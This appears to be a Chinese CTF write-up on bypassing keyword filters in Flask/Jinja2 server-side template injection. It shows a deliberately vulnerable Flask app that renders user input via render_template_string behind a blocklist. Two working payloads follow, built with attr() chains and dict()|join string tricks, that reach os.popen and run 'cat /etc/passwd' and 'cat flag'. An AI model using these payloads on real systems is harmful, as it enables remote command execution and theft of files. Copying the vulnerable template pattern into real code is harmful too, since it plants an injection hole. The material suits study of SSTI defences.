1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from flask import Flask, render_template, render_template_string, requestapp = Flask(__name__) @app.route("/" ) def index (): if not request.args.get("name" ): return open (__file__).read() name = request.args.get("name" ) for evil in ['.' , '[' , '__class__' , '__subclasses__' , '__globals__' ]: if evil in name: return "evlil: " + evil template = """ <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> <title>title</title> <body> <p> Hello, %s </p> </body> </head> </html> """ %(name) return render_template_string(template) if __name__ == '__main__' : app.run(host="0.0.0.0" , port=80 , debug=False )
过滤了: .
、[
、__class__
、__subclasses__
、__globals__
PAYLOAD 如下:
1 {{ x1ong|attr("__cla" + "ss__" )|attr("__ba" + "se__" )|attr("__subcla" + "sses__" )()|attr("__getitem__" )(133 )|attr("__init__" )|attr("__glo" + "bals__" )|attr("__getitem__" )("__builtins__" )|attr("__getitem__" )("__import__" )("os" )|attr("popen" )("cat /etc/passwd" )|attr("read" )()}}
混合过滤-2 过滤内容: '
, "
, +
, request
, .
, [
, ]
PAYLAOD 如下:
1 2 3 4 5 6 7 8 9 10 11 {% set cl=dict (__class__=a)|join %} {% set ba=dict (__base__=a)|join %} {% set sub=dict (__subclasses__=a)|join %} {% set get=dict (__getitem__=a)|join %} {% set init1=dict (__init__=a)|join %} {% set gl=dict (__globals__=a)|join %} {% set po=dict (popen=a)|join %} {% set space=(lipsum|string|list )|attr(get)(9 ) %} {% set cat=(dict (cat=a)|join,space,dict (flag=a)|join)|join %} {% set re=dict (read=a)|join %} {{ ()|attr(cl)|attr(ba)|attr(sub)()|attr(get)(117 )|attr(init1)|attr(gl)|attr(get)(po)(cat)|attr(re)()}}